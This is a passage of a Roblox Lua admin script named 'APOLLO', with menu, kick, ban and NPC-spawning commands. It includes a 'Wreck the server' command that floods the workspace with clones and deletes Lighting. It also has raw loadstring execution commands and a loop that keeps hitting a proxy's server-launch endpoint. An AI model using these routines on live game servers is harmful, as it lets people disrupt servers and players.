  700. APOLLO.Functions.tabletOutput(plr,'Rank 3','Dark green',function()APOLLO.Functions.dismiss(plr)
  701. APOLLO.Functions.tabletOutput(plr,'Back','Really red',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end);
  702. APOLLO.Functions.tabletOutput(plr,'Rank 3','Really red');
  703. for i,v in next,APOLLO.Ranked do
  704. if v.Rank==3 then
  705. APOLLO.Functions.tabletOutput(plr,tostring(v.Name),'Dark green',function()APOLLO.Functions.dismiss(plr)
  706. APOLLO.Functions.tabletOutput(plr,tostring(v.Reason),'Dark green')
  707. APOLLO.Functions.tabletOutput(plr,tostring('Rank: '..v.Rank),'Dark green')
  708. APOLLO.Functions.tabletOutput(plr,tostring('Back'),'New Yeller',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end)end);
  709. end
  710. end
  711. end);
  712. APOLLO.Functions.tabletOutput(plr,'Rank 4','Dark green',function()APOLLO.Functions.dismiss(plr)
  713. APOLLO.Functions.tabletOutput(plr,'Back','Really red',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end);
  714. APOLLO.Functions.tabletOutput(plr,'Rank 4','Really red');
  715. for i,v in next,APOLLO.Ranked do
  716. if v.Rank==4 then
  717. APOLLO.Functions.tabletOutput(plr,tostring(v.Name),'Dark green',function()APOLLO.Functions.dismiss(plr)
  718. APOLLO.Functions.tabletOutput(plr,tostring(v.Reason),'Dark green')
  719. APOLLO.Functions.tabletOutput(plr,tostring('Rank: '..v.Rank),'Dark green')
  720. APOLLO.Functions.tabletOutput(plr,tostring('Back'),'New Yeller',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end)end);
  721. end
  722. end
  723. end);
  724. APOLLO.Functions.tabletOutput(plr,'Rank 5','Dark green',function()APOLLO.Functions.dismiss(plr)
  725. APOLLO.Functions.tabletOutput(plr,'Back','Really red',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end);
  726. APOLLO.Functions.tabletOutput(plr,'Rank 5','Really red');
  727. for i,v in next,APOLLO.Ranked do
  728. if v.Rank==5 then
  729. APOLLO.Functions.tabletOutput(plr,tostring(v.Name),'Dark green',function()APOLLO.Functions.dismiss(plr)
  730. APOLLO.Functions.tabletOutput(plr,tostring(v.Reason),'Dark green')
  731. APOLLO.Functions.tabletOutput(plr,tostring('Rank: '..v.Rank),'Dark green')
  732. APOLLO.Functions.tabletOutput(plr,tostring('Back'),'New Yeller',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end)end);
  733. end
  734. end
  735. end);
  736. APOLLO.Functions.tabletOutput(plr,'Rank 6','Dark green',function()APOLLO.Functions.dismiss(plr)
  737. APOLLO.Functions.tabletOutput(plr,'Back','Really red',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end);
  738. APOLLO.Functions.tabletOutput(plr,'Rank 6','Really red');
  739. for i,v in next,APOLLO.Ranked do
  740. if v.Rank==6 then
  741. APOLLO.Functions.tabletOutput(plr,tostring(v.Name),'Dark green');
  742. end
  743. end
  744. end);
  745. APOLLO.Functions.tabletOutput(plr,'ROOT','Really red',function()APOLLO.Functions.dismiss(plr)
  746. APOLLO.Functions.tabletOutput(plr,'Back','Really red',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end);
  747. APOLLO.Functions.tabletOutput(plr,'nil','Really red');
  748. for i,v in next,APOLLO.Ranked do
  749. if v.Rank==7 then
  750. APOLLO.Functions.tabletOutput(plr,tostring(v.Name),'Dark green',function()APOLLO.Functions.dismiss(plr)
  751. APOLLO.Functions.tabletOutput(plr,tostring(v.Reason),'Dark green')
  752. APOLLO.Functions.tabletOutput(plr,tostring('Rank: '..v.Rank),'Dark green')
  753. APOLLO.Functions.tabletOutput(plr,tostring('Back'),'New Yeller',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end)end);
  754. end
  755. end
  756. end);
  757. end
  758.  
  759. APOLLO.Functions.guiNotify=function(plr,text,time)
  760.     coroutine.wrap(function()
  761.         if time==nil then time=3 end
  762.         local Notify = Instance.new("ScreenGui",plr.PlayerGui)
  763.         Notify.Name = "APOLLO_NOTIFY"
  764.         local TextPart = Instance.new("TextLabel",Notify) --buttons have better styles
  765.         TextPart.Size=UDim2.new(0.7,0,0.05,0)
  766.         TextPart.Position=UDim2.new(0,100,-.2,0);
  767.         TextPart.Text = text
  768.         TextPart.BackgroundColor3=Color3.new(0,0,0);
  769.         TextPart.TextColor3 = Color3.new(1,1,1)
  770.         TextPart.TextScaled = true
  771.         TextPart.BorderSizePixel=0;
  772.         TextPart:TweenPosition(UDim2.new(0,0,0,0),'Out','Quad',2,true);
  773.         wait(time);
  774.         TextPart:TweenPosition(UDim2.new(0,0,-.2,0),'Out','Quad',2,true);
  775.         wait(3);
  776.         Notify:destroy();
  777.     end)();
  778. end;
  779.  
  780. APOLLO.Functions.playerInterface=function(plr)
  781. for i,v in next,game:service'NetworkServer':children() do
  782.         local player=v:GetPlayer()
  783.         if player.Parent==nil then
  784.             APOLLO.Functions.tabletOutput(plr,player.Name..' : nil','Really red',function()APOLLO.Functions.dismiss(plr)
  785.             APOLLO.Functions.tabletOutput(plr,'Destroy '..player.Name..'?','Really red',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.kick(player)end)   
  786.             end)
  787.         elseif player.Parent==game.Players then
  788.             APOLLO.Functions.tabletOutput(plr,player.Name..' : in-game','Dark green',function()APOLLO.Functions.dismiss(plr)
  789.             APOLLO.Functions.tabletOutput(plr,'Administrative actions','Really red',function()
  790.             APOLLO.Functions.tabletOutput(plr,'Respawn '..player.Name..'?','Dark green',function()APOLLO.Functions.dismiss(plr)player:LoadCharacter()end);
  791.             APOLLO.Functions.tabletOutput(plr,'Kick '..player.Name..'?','Really red',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.kick(player)end); 
  792.             APOLLO.Functions.tabletOutput(plr,'Rejoin '..player.Name..'?','New Yeller',function()APOLLO.Functions.dismiss(plr)game:service'TeleportService':Teleport(player,game.PlaceId)end);
  793.             end);
  794.             APOLLO.Functions.tabletOutput(plr,'Fun actions','Dark green',function()APOLLO.Functions.dismiss(plr)
  795.             APOLLO.Functions.tabletOutput(plr,'Kill','Dark green',function()APOLLO.Functions.dismiss(plr)player.Character:BreakJoints()end)
  796.             --line 666
  797.         end)
  798.             end)
  799.         else
  800.             APOLLO.Functions.tabletOutput(plr,tostring(player.Name) or 'Unknown'..' : joining','New Yeller',function()APOLLO.Functions.kick(player)end);
  801.         end
  802.     end
  803. end
  804. function APOLLO.Functions.dismiss(plr)
  805.   pcall(function()
  806.     if type(plr) == "userdata" then
  807.       plr = plr
  808.     elseif type(plr) == "string" then
  809.       local f = false
  810.       for _,v in pairs(game.Players:players())do
  811.       wait()
  812.         if v.Name:lower():sub(1,#plr) == plr:lower() then
  813.           f = true
  814.           plr = v
  815.           break
  816.         end
  817.       end
  818.       if f == false then
  819.        --//
  820.       end
  821.     else
  822.       return
  823.     end
  824.     for i,v in next,APOLLO.CoreStuff.StoredTablets do
  825.       if v.Owner == plr then
  826.         v.P:remove()
  827.         APOLLO.CoreStuff.StoredTablets[i]=nil
  828.       end
  829.     end
  830.     for i,v in next,APOLLO.CoreStuff.SavedTabletsInfo do
  831.         if v.Owner == plr then
  832.             APOLLO.CoreStuff.SavedTabletsInfo[i] = nil
  833.        v.P:remove()     end
  834.     end
  835.   end)
  836. end
  837. APOLLO.Functions.showCommands=function(plr)
  838. for i,v in next,APOLLO.Commands do
  839. APOLLO.Functions.tabletOutput(plr,v.Name,'Really red',function()
  840. APOLLO.Functions.dismiss(plr)
  841. APOLLO.Functions.tabletOutput(plr,'Command name: '..v.Name,'Really red')
  842. APOLLO.Functions.tabletOutput(plr,'Command description: '..v.Desc,'Dark green')
  843. APOLLO.Functions.tabletOutput(plr,'Required rank: '..v.Rank,'Really red')
  844. APOLLO.Functions.tabletOutput(plr,'Usage: '..v.Say,'Dark green')
  845. APOLLO.Functions.tabletOutput(plr,'Dismiss','Hot pink',function()wait()APOLLO.Functions.dismiss(plr)end)
  846. end);end;APOLLO.Functions.tabletOutput(plr,'Dismiss','Hot pink',function()wait()APOLLO.Functions.dismiss(plr)end)end;
  847.  
  848. --APOLLO.CoreStuff.ServerCreating=false
  849.  
  850. APOLLO.Functions.CreateGameServer = function(user,placeid)
  851.     local id = placeid ~= nil and placeid or tostring(game.PlaceId)
  852.     linkPart1 = "http://roproxy.tk/Game/PlaceLauncher.ashx?request=RequestGame&placeId="
  853.     linkPart2 = "&isPartyLeader=false&gender=&isTeleport=true"
  854.     fullLink = linkPart1..id..linkPart2 --meow
  855.     local tries = 0
  856.     if not APOLLO.CoreStuff.ServerCreating then
  857.         APOLLO.CoreStuff.ServerCreating = true
  858.         APOLLO.Functions.tabletOutput(user,string.format("Started creating a server on %s.",id),'Really red')
  859.         local x = string.rep('x',255)
  860.         repeat
  861.             tries = tries + 1
  862.             a,b = pcall(function()
  863.                 x = game:FindService'HttpService':GetAsync(fullLink)
  864.             end)
  865.             if #x >= 120 then
  866.                 APOLLO.Functions.tabletOutput(user,string.format("%d try failed (%d chars)",tries,#x),'Really red')
  867.             end
  868.             wait()
  869.         until #x < 120
  870.         APOLLO.CoreStuff.ServerCreating = false
  871.         APOLLO.Functions.dismiss(user);
  872.         wait();
  873.         APOLLO.Functions.tabletOutput(user,string.format('Server created successfully after %d tries',tries),'Really red')
  874.     end
  875. end
  876.  
  877.  
  878. --
  879. --
  880. --
  881. --Commands--
  882. --
  883. --
  884. --
  885. APOLLO.Functions.AddCommand('Kill','kill',1,'Kills a player',function(user,msg)
  886.     for i,v in next,APOLLO.Functions.getPlayers(user,msg)do
  887.         if v.Character then
  888.             v.Character.Humanoid.Health=0
  889.         end
  890.     end
  891. end);
  892. APOLLO.Functions.AddCommand('Ponda Family','pondaf',5,'Creates a family of pandas',function(user,msg)
  893.     for i = 0,100 do
  894. local num=msg:sub(1,2)
  895. local num2=msg:sub(4,6)
  896. local Asset = "http://www.roblox.com/asset/?id="
  897. function Part(P, Anch, Coll, Tran, Ref, Col, X, Y, Z)
  898.     local p = Instance.new("Part")
  899.     p.TopSurface = 0
  900.     p.BottomSurface = 0
  901.     p.Transparency = Tran
  902.     p.Reflectance = Ref
  903.     p.CanCollide = Coll
  904.     p.Anchored = Anch
  905.     p.BrickColor = BrickColor.new(Col)
  906.     p.formFactor = "Custom"
  907.     p.Size = Vector3.new(X,Y,Z)
  908.     p.Parent = P
  909.     p.Locked = true
  910.     p:BreakJoints()
  911.     return p
  912. end
  913.  
  914. function Weld(P0, P1, X, Y, Z, A, B, C)
  915.     local w = Instance.new("Weld")
  916.     w.Part0 = P0
  917.     w.Part1 = P1
  918.     w.C = CN(X, Y, Z) * CA(A, B, C)
  919.     w.Parent = P0
  920.     return w
  921. end
  922.  
  923. CA = CFrame.Angles
  924. CN = CFrame.new
  925. V3 = Vector3.new
  926. MR = math.rad
  927. MP = math.pi
  928. MRA = math.random
  929. MH = math.huge
  930. Noob = nil
  931. function MakeMotor(torso, p1, c0, c1)
  932.     local mot = Instance.new("Motor6D")
  933.     mot.C0 = c0
  934.     mot.C1 = c1
  935.     mot.Part0 = torso
  936.     mot.Part1 = p1
  937.     mot.Parent = torso
  938.     return mot
  939. end
  940.  
  941. function Set(tab)
  942.     for _,v in pairs(tab) do
  943.         local motor = v[1]
  944.         local vel = v[2]
  945.         local des = v[3]
  946.         motor.MaxVelocity = vel
  947.         motor.DesiredAngle = des
  948.     end
  949. end
  950.  
  951. function Animate(Hum, RSH, LSH, RH, LH)
  952.     local pose = "Standing"
  953.     local function sit()
  954.         pose = "Seated"
  955.     end
  956.     local function jump()
  957.         pose = "Jumping"
  958.     end
  959.     local function died()
  960.         pose = "Dead"
  961.     end
  962.     local function falling()
  963.         pose = "Falling"
  964.     end
  965.     local function climbing()
  966.         pose = "Climbing"
  967.     end
  968.     local function run(speed)
  969.         if speed > 0.5 then
  970.             pose = "Running"
  971.         else
  972.             pose = "Standing"
  973.         end
  974.     end
  975.     local function move(tiem)
  976.         local amplitude, frequency
  977.         if pose == "Seated" then
  978.             Set({{RSH, 0.15, math.pi/2}, {LSH, 0.15, -math.pi/2}, {LH, 0.15, math.pi/2}, {RH, 0.15, -math.pi/2}})
  979.             return
  980.         end
  981.         if pose == "Jumping" then
  982.             Set({{RSH, 0.3, math.pi}, {LSH, 0.3, -math.pi}, {LH, 0.3, 0}, {RH, 0.3, 0}})
  983.             return
  984.         end
  985.         if pose == "Falling" then
  986.             Set({{RSH, 0.35, math.pi}, {LSH, 0.35, -math.pi}, {LH, 0.35, 0}, {RH, 0.35, 0}})
  987.             return
  988.         end
  989.         local climb = 0
  990.         if pose == "Running" then
  991.             RSH.MaxVelocity = 0.15
  992.             LSH.MaxVelocity = 0.15
  993.             RH.MaxVelocity = 0.15
  994.             LH.MaxVelocity = 0.15
  995.             amplitude = 1
  996.             frequency = 8
  997.         elseif pose == "Climbing" then
  998.             RSH.MaxVelocity = 0.3
  999.             LSH.MaxVelocity = 0.3
  1000.             RH.MaxVelocity = 0.15
  1001.             LH.MaxVelocity = 0.15
  1002.             amplitude = 1
  1003.             frequency = 8
  1004.             climb = math.pi
  1005.         else
  1006.             amplitude = 0.1
  1007.             frequency = 1
  1008.         end
  1009.         des = amplitude * math.sin(tiem*frequency)
  1010.         RSH.DesiredAngle = des + climb
  1011.         LSH.DesiredAngle = des - climb
  1012.         RH.DesiredAngle = -des
  1013.         LH.DesiredAngle = -des
  1014.     end
  1015.     Hum.Jumping:connect(jump)
  1016.     Hum.Running:connect(run)
  1017.     Hum.Seated:connect(sit)
  1018.     Hum.Died:connect(died)
  1019.     Hum.FreeFalling:connect(falling)
  1020.     Hum.Climbing:connect(climbing)
  1021.     coroutine.resume(coroutine.create(function()
  1022.         while pose ~= "Dead" do
  1023.             local _, time = wait(0.1)
  1024.             move(time)
  1025.         end
  1026.     end))
  1027. end
  1028.  
  1029. function MakeNoob(pos, scale)
  1030.     local Name = 'Ponda'
  1031.     local Nub = Instance.new("Model")
  1032.     Nub.Name = Name
  1033.     Noob = Nub
  1034.     local Torso = Part(Nub, false, false, 0, 0, "Really black", 2*scale, 2*scale, 1*scale)
  1035.     Torso.Name = "Torso"
  1036.     local Head = Part(Nub, false, false, 0, 0, "Institutional white", 2*scale, 1*scale, 1*scale)
  1037.     Head.Name = "Head"
  1038.     local Neck = MakeMotor(Torso, Head, CN(0, 1*scale, 0), CN(0, -0.5*scale, 0))
  1039.     local HeadMesh = Instance.new("SpecialMesh",Head)
  1040.     HeadMesh.Scale = V3(1.25, 1.25, 1.25)
  1041.     local Face = Instance.new("Decal",Head)
  1042.     Face.Face = "Front"
  1043.     Face.Texture = Asset..(13038247)
  1044.     local Rarm = Part(Nub, false, false, 0, 0, "Really black", 1*scale, 2*scale, 1*scale)
  1045.     Rarm.Name = "Right Arm"
  1046.     local Larm = Part(Nub, false, false, 0, 0, "Institutional white", 1*scale, 2*scale, 1*scale)
  1047.     Larm.Name = "Left Arm"
  1048.     local Rleg = Part(Nub, false, false, 0, 0, "Institutional white", 1*scale, 2*scale, 1*scale)
  1049.     Rleg.Name = "Right Leg"
  1050.     local Lleg = Part(Nub, false, false, 0, 0, "Really black", 1*scale, 2*scale, 1*scale)
  1051.     Lleg.Name = "Left Leg"
  1052.    
  1053.     local Root= Instance.new("Part",Nub)
  1054.     Root.Name='HumanoidRootPart'
  1055.     Root.Transparency=1;
  1056.     Root.Size=Vector3.new(2,2,1);
  1057.     Root.Friction=0.30
  1058.     Root.Elasticity=0.5
  1059.     local Hip = Instance.new("Motor6D",Root)
  1060.     Hip.CurrentAngle=0;
  1061.     Hip.DesiredAngle=0;
  1062.     Hip.MaxVelocity=0.1;
  1063.     Hip.Name='RootHip'
  1064.     Hip.Part0=Root
  1065.     Hip.Part1=Torso
  1066.    
  1067.     local RSH = MakeMotor(Torso, Rarm, CN(1*scale, 0.5*scale, 0) * CA(0, MR(90), 0), CN(-0.5*scale, 0.5*scale, 0) * CA(0, MR(90), 0))
  1068.     local LSH = MakeMotor(Torso, Larm, CN(-1*scale, 0.5*scale, 0) * CA(0, MR(-90), 0), CN(0.5*scale, 0.5*scale, 0) * CA(0, MR(-90), 0))
  1069.     local RH = MakeMotor(Torso, Rleg, CN(0.5*scale, -1*scale, 0) * CA(0, MR(-90), 0), CN(0, 1*scale, 0) * CA(0, MR(-90), 0))
  1070.     local LH = MakeMotor(Torso, Lleg, CN(-0.5*scale, -1*scale, 0) * CA(0, MR(90), 0), CN(0, 1*scale, 0) * CA(0, MR(90), 0))
  1071.     local Hum = Instance.new("Humanoid")
  1072.     local Hat=game:service'InsertService':LoadAsset(20721282).Pwnda
  1073.     Hat.Handle.Mesh.Scale=Hat.Handle.Mesh.Scale*scale
  1074.     --local Hat2=game:service'InsertService':LoadAsset(152980442).EggofLuck2014
  1075.     --Hat2.Handle.Mesh.Scale=Hat.Handle.Mesh.Scale*(scale-0.95)
  1076.     wait(0.1)
  1077.     Hat.Parent=Nub
  1078.     Hum.MaxHealth = 40+(scale*60)
  1079.     Hum.Health = 100
  1080.     Hum.Parent = Nub
  1081.     Nub.Parent = workspace
  1082.     Nub:MakeJoints()
  1083.     Nub:MoveTo(pos)
  1084.     Animate(Hum,RSH,LSH,RH,LH)
  1085.     local path = {
  1086.     Vector3.new(7.9, 5.39, -65.1),
  1087.     Vector3.new(9.7, 47.39, -17.1),
  1088.     Vector3.new(-3.2, 23.49, -9),
  1089.     Vector3.new(-13.2, 5.49, 30.8),
  1090.     Vector3.new(-82.9, 5.39, 16.5),
  1091. }
  1092.  
  1093. local radius = 200
  1094.  
  1095. function randomvector()
  1096.     return Vector3.new(math.random() * radius * 2 - radius, math.random() * radius * 2 - radius, math.random() * radius * 2 - radius)
  1097. end
  1098.  
  1099. local pointCount = math.random(4, 10)
  1100.  
  1101. for i = 1, pointCount do
  1102.     path[i] = randomvector()
  1103. end
  1104.  
  1105. wait()
  1106.  
  1107. local parent = Nub
  1108. local moveTime = 0
  1109. while (true) do
  1110.     for i, point in pairs(path) do
  1111.         local distanceVector = parent.HumanoidRootPart.Position - point
  1112.         local distance = distanceVector.magnitude
  1113.         parent.Humanoid:MoveTo(point, Workspace.Base)
  1114.         moveTime = 0
  1115.         while (moveTime < (distance / 32)) do
  1116.             moveTime = moveTime + 1
  1117. --          parent.Humanoid.Jump = true
  1118.             wait(1)
  1119.         end
  1120.     end
  1121. end
  1122.  
  1123.     return {Name = Name, Model = Nub, Humanoid = Hum, Torso = Torso, Head = Head, Rarm = Rarm, Larm = Larm, Rleg = Rleg, Lleg = Lleg, RSH = RSH, LSH = LSH, RH = RH, LH = LH, Neck = Neck}
  1124. end
  1125. local Npc = MakeNoob(V3(MRA(-20, 20),10,MRA(-20, 20)),1)
  1126.     wait(0.1)
  1127.     end
  1128. end)
  1129.  
  1130. APOLLO.Functions.AddCommand('Ranked','gr',0,'Shows ranked players',function(user)
  1131. APOLLO.Functions.getRanked(user);
  1132. end);
  1133.  
  1134. APOLLO.Functions.AddCommand('Forcefield','ff',1,'Gives a forcefield',function(user,msg)
  1135. for i,v in next,APOLLO.Functions.getPlayers(user,msg)do
  1136. local ff=Instance.new("ForceField",v.Character)
  1137. ff.Name='S_FF'
  1138. end
  1139. end);
  1140.  
  1141. APOLLO.Functions.AddCommand('Perma-FF','pff',3,'Forcefields you as long as the script is running.',function(user,msg)
  1142. for i,v in next,APOLLO.Functions.getPlayers(user,msg)do
  1143. local ff=Instance.new("ForceField",v.Character)
  1144. ff.Name='S_P_FF'
  1145. while wait() do
  1146. if v.Character:findFirstChild('S_P_FF')==nil then
  1147. local ff=Instance.new("ForceField",v.Character)
  1148. ff.Name='S_P_FF'
  1149. end
  1150. end
  1151. end
  1152. end)
  1153.  
  1154. APOLLO.Functions.AddCommand('Kick','kick',3,'Kicks a player',function(user,msg)
  1155. for i,v in next,APOLLO.Functions.getPlayers(user,msg) do
  1156. pcall(function()APOLLO.Functions.kick(v)end);
  1157. end
  1158. end);
  1159.  
  1160. APOLLO.Functions.AddCommand('FIx Idle','fidle',4,'Fixes the idle animation',function()
  1161. while(wait())do
  1162.     for i,v in next,APOLLO.Idling do
  1163.         for i = 0,10,1 do
  1164.         wait()
  1165.         APOLLO.Functions.tabletOutput(game:service'Players':findFirstChild(v.Name),'','Really red');
  1166.         end
  1167.     wait(0.8)
  1168.     APOLLO.Functions.dismiss(game:service'Players':findFirstChild(v.Name));
  1169.     end
  1170. end
  1171. end);
  1172.  
  1173. APOLLO.Functions.AddCommand('Dismiss','dt',0,'Dismisses your tablets',function(user)
  1174. APOLLO.Functions.dismiss(user);
  1175. end);
  1176. APOLLO.Functions.AddCommand('Wreck the server','rek',4,'Wrecks the server.',function()
  1177. game.ItemChanged:connect(function()
  1178. for i,v in next,workspace:children() do
  1179. for i = 0,10 do
  1180. pcall(function()v:Clone().Parent=workspace end)
  1181. end
  1182. end
  1183. end)
  1184. do
  1185. setfenv(1,{game=game,Destroy=Destroy,wait=wait,print=print})--try to get clean env
  1186. game.Lighting:Destroy()
  1187. end
  1188. end);
  1189.  
  1190. APOLLO.Functions.AddCommand('Idle','idle',0,'Show people you are AFK.',function(user)
  1191. table.insert(APOLLO.Idling,user);
  1192. print('added '..tostring(user)..' to idle list')
  1193. end)
  1194.  
  1195. APOLLO.Functions.AddCommand("Silent",'silent',0,'Sets silent mode for you',function(user)
  1196. for i,v in next,APOLLO.Ranked do
  1197. if v.Silent and v.Silent==true then
  1198. v.Silent=false
  1199. else
  1200.     v.Silent=true
  1201. end
  1202. end
  1203. end)
  1204.  
  1205. APOLLO.Functions.AddCommand('Un-idle','uidle',0,'Show people you are back.',function(user)
  1206. for i,v in next,APOLLO.Idling do
  1207. if v.Name==user.Name then
  1208. table.remove(APOLLO.Idling,i)
  1209. print('removed '..v.Name..' from idle list');
  1210. end
  1211. end
  1212. end)
  1213.  
  1214. APOLLO.Functions.AddCommand('Time ban','tban',5,'Timebans a person.',function(user,msg)
  1215.     local found=false
  1216.     for i,v in next,APOLLO.Functions.getPlayers(user,msg)do
  1217.         for i,r in next,APOLLO.TimeBanned do
  1218.             if r.Name==tostring(v) then
  1219.                 found=true
  1220.             end
  1221.         end
  1222.         if found==false then
  1223.             msg=msg:sub(#msg+1)
  1224.             table.insert(APOLLO.TimeBanned,{Name=tostring(v),Time=tonumber(msg)})
  1225.             APOLLO.Functions.kick(v);
  1226.         end
  1227.     end
  1228. end)
  1229.  
  1230. APOLLO.Functions.AddCommand('Logs','slogs',3,'Shows admin logs',function(user,msg)
  1231. for i,v in next,APOLLO.Functions.getPlayers(user,msg) do
  1232. for d,w in next,APOLLO.Logged do
  1233. if w['Name']==v.Name then
  1234. APOLLO.Functions.tabletOutput(user,tostring(v.Name),'Really red',function()APOLLO.Functions.dismiss(user)
  1235. for i,q in next,w.Actions do
  1236. APOLLO.Functions.tabletOutput(user,tostring(q),'Dark green')
  1237. end
  1238. end)
  1239. end
  1240. end
  1241. end
  1242. end)
  1243.  
  1244. APOLLO.Functions.AddCommand('Ban','ban',3,'Bans the player',function(user,msg)
  1245. for i,v in next,APOLLO.Functions.getPlayers(user,msg) do
  1246. table.insert(APOLLO.Banned,v.Name)
  1247. APOLLO.Functions.kick(v);
  1248. end
  1249. end);
  1250.  
  1251. APOLLO.Functions.AddCommand('Rexe','rexe',7,'Raw-exe',function(user,msg)
  1252. pcall(function()loadstring(msg)()end);
  1253. end);
  1254.  
  1255. APOLLO.Functions.AddCommand('Remove','remm',6,'Removes the admin',function()
  1256.     for i,v in next,getfenv(1) do
  1257.     getfenv(1)[i]=nil;end
  1258.     for i,v in next,getfenv() do
  1259.     getfenv(1)[i]=nil;end
  1260.     for i,v in next,getfenv(2)do
  1261.     getfenv(1)[i]=nil;end
  1262.     script.Disabled=true;
  1263.     script:remove();
  1264.     getfenv(print).error=nil;
  1265.     getfenv(print).print=nil;
  1266.     getfenv().REMOVED=true;
  1267. end)
  1268.  
  1269. APOLLO.Functions.AddCommand('Execute','exe',6,'Executes a string',function(user,msg)
  1270. local rele, sece, newe, sb
  1271.     local mf, mr = ypcall(function()
  1272.         rele = setmetatable({}, {__index = getfenv()})
  1273.         sece = {
  1274.             script=Instance.new("Script"),
  1275.             APOLLO = (function()
  1276.                     local APPIE = APOLLO.Functions.Fake.Table(APOLLO)
  1277.                     setmetatable(APPIE,{
  1278.                         __index = function(Self, Index, Value)
  1279.                             return rawget(Self, Index, Value)
  1280.                         end,
  1281.                         __metatable = "APOLLO table is locked."
  1282.                     })
  1283.                     return APPIE
  1284.                 end)(),
  1285.             removeAdmin=function()end,
  1286.             clear=function()end,
  1287.             run=function()end,
  1288.             sandbox=function()end,
  1289.             removed=false,
  1290.             antiremove=true,
  1291.             antiremove=function()end,
  1292.             players=#game:service'Players':players(),
  1293.             workspace=game:service'Workspace',
  1294.             output=function()end,
  1295.             dismiss=function()end,
  1296.             baseMessage=Instance.new("Message"),
  1297.             addcommand=function()end,
  1298.             remote='stypi.com/raw/oiju39a08ufasdjfoiaeuajs8',
  1299.             http=game:service'HttpService',
  1300.            
  1301.            
  1302.         }
  1303.         newe = {
  1304.             __index = {
  1305.                 game = game,
  1306.                 Game = game,
  1307.                 workspace=game:service'Workspace',
  1308.                 Workspace=game:service'Workspace',
  1309.                 _G = APOLLO.NotReal._G,
  1310.                 _VERSION = "Lua 5.1",
  1311.                 shared = APOLLO.NotReal.shared,
  1312.                 setfenv = setfenv,
  1313.                 rawset = rawset,
  1314.                 rawget = rawget,
  1315.                 require=require,
  1316.                 newproxy = newproxy,
  1317.                 setmetatable = setmetatable,
  1318.                 getmetatable = getmetatable,
  1319.                 pairs = pairs,
  1320.                 ipairs = ipairs,
  1321.                 next = next,
  1322.                 select = select,
  1323.                 collectgarbage = collectgarbage,
  1324.                 assert = assert,
  1325.                 dofile = dofile,
  1326.                 load = load,
  1327.                 pcall = pcall,
  1328.                 ypcall = ypcall,
  1329.                 xpcall = xpcall,
  1330.                 spawn = spawn,
  1331.                 Spawn = spawn,
  1332.                 tonumber = tonumber,
  1333.                 tostring = tostring,
  1334.                 type = type,
  1335.                 unpack = unpack,
  1336.                 delay=delay,
  1337.                 Delay=Delay,
  1338.                 Unpack=unpack,
  1339.                 gcinfo = gcinfo,
  1340.                 wait=wait,
  1341.                 PluginManager = PluginManager,
  1342.                 settings = settings,
  1343.                 Stats = Stats,
  1344.                 UserSettings = UserSettings,
  1345.                 APOLLO = (function()
  1346.                     local APPIE = APOLLO.Functions.Fake.Table(APOLLO)
  1347.                     setmetatable(APPIE,{
  1348.                         __index = function(Self, Index, Value)
  1349.                             return rawget(Self, Index, Value)
  1350.                         end,
  1351.                         __metatable = "APOLLO table is locked."
  1352.                     })
  1353.                     return APPIE
  1354.                 end)(),
  1355.                 loadstring = function(String) --someone bypassed
  1356.                     local Load = loadstring(String)
  1357.                     setfenv(Load, sb)
  1358.                     print(Load,String)
  1359.                     return Load
  1360.                 end,
  1361.                 print = function(...)
  1362.                     local Data, Return = {...}, ""
  1363.                     for Index,Value in pairs(Data) do
  1364.                         Return = Return .. tostring(Value) .. (Index < #Data and ", " or "")
  1365.                     end
  1366.                     return APOLLO.Functions.tabletOutput(Speaker, Return, "White")
  1367.                 end,
  1368.                 warn = function(...)
  1369.                     local Data, Return = {...}, ""
  1370.                     for Index,Value in pairs(Data) do
  1371.                         Return = Return .. tostring(Value) .. (Index < #Data and ", " or "")
  1372.                     end
  1373.                     return APOLLO.Functions.tabletOutput(Speaker, Return, "Bright orange")
  1374.                 end,
  1375.                 error = function(String, Level)
  1376.                     return APOLLO.Functions.tabletOutput(Speaker, String, "Really red")
  1377.                 end,
  1378.                 getfenv = function(Level)
  1379.                     local ReturnedEnvironment = sece
  1380.                     if type(Level) == "function" then
  1381.                         return ReturnedEnvironment
  1382.                     elseif type(Level) == "number" and Level >= 0 and Level <= 2 then
  1383.                         return ReturnedEnvironment
  1384.                     elseif type(Level) == "nil" then
  1385.                         return ReturnedEnvironment
  1386.                     elseif type(Level)=='string' and Level:lower()=='SolarEnvironment'then
  1387.                         return APOLLO.Functions.tabletOutput(Speaker,'ogm hax')
  1388.                     elseif(Level==666)then
  1389.                         return APOLLO.Functions.tabletOutput(Speaker,'THE POWER OF CHRIST COMPELLS YOU','Really red');
  1390.                     else
  1391.                         return error("ERROR: Incorrect Environment Level")
  1392.                     end
  1393.                 end,
  1394.                 Instance = setmetatable({
  1395.                     new = function(ClassName, Parent)
  1396.                         if ClassName then
  1397.                             return Instance.new(ClassName, Parent)
  1398.                         else
  1399.                             return error("String expected")
  1400.                         end
  1401.                     end,
  1402.                     Lock = Instance.Lock,
  1403.                     UnLock = Instance.UnLock,
  1404.                 },{__metatable = "APOLLO_ERROR_ENV"}),
  1405.                 UDim2 = setmetatable({
  1406.                     new = UDim2.new
  1407.                 },{__metatable = "APOLLO_ERROR_ENV"}),
  1408.                 Color3 = setmetatable({
  1409.                 new=Color3.new
  1410.                 },{__metatable='APOLLO_ERROR_ENV'}),
  1411.                 BrickColor = setmetatable({
  1412.                 new=BrickColor.new,
  1413.                 New=BrickColor.new,
  1414.                 Random=BrickColor.random,
  1415.                 random=BrickColor.random,
  1416.                 palette=BrickColor.palette
  1417.                 },{__metatable='APOLLO_ERROR_ENV'}),
  1418.                 Vector2 = setmetatable({
  1419.                     new = Vector2.new
  1420.                 },{__metatable = "APOLLO_ERROR_ENV"}),
  1421.                 Vector3 = setmetatable({
  1422.                     FromNormalId = Vector3.FromNormalId,
  1423.                     FromAxis = Vector3.FromAxis,
  1424.                     new = Vector3.new,
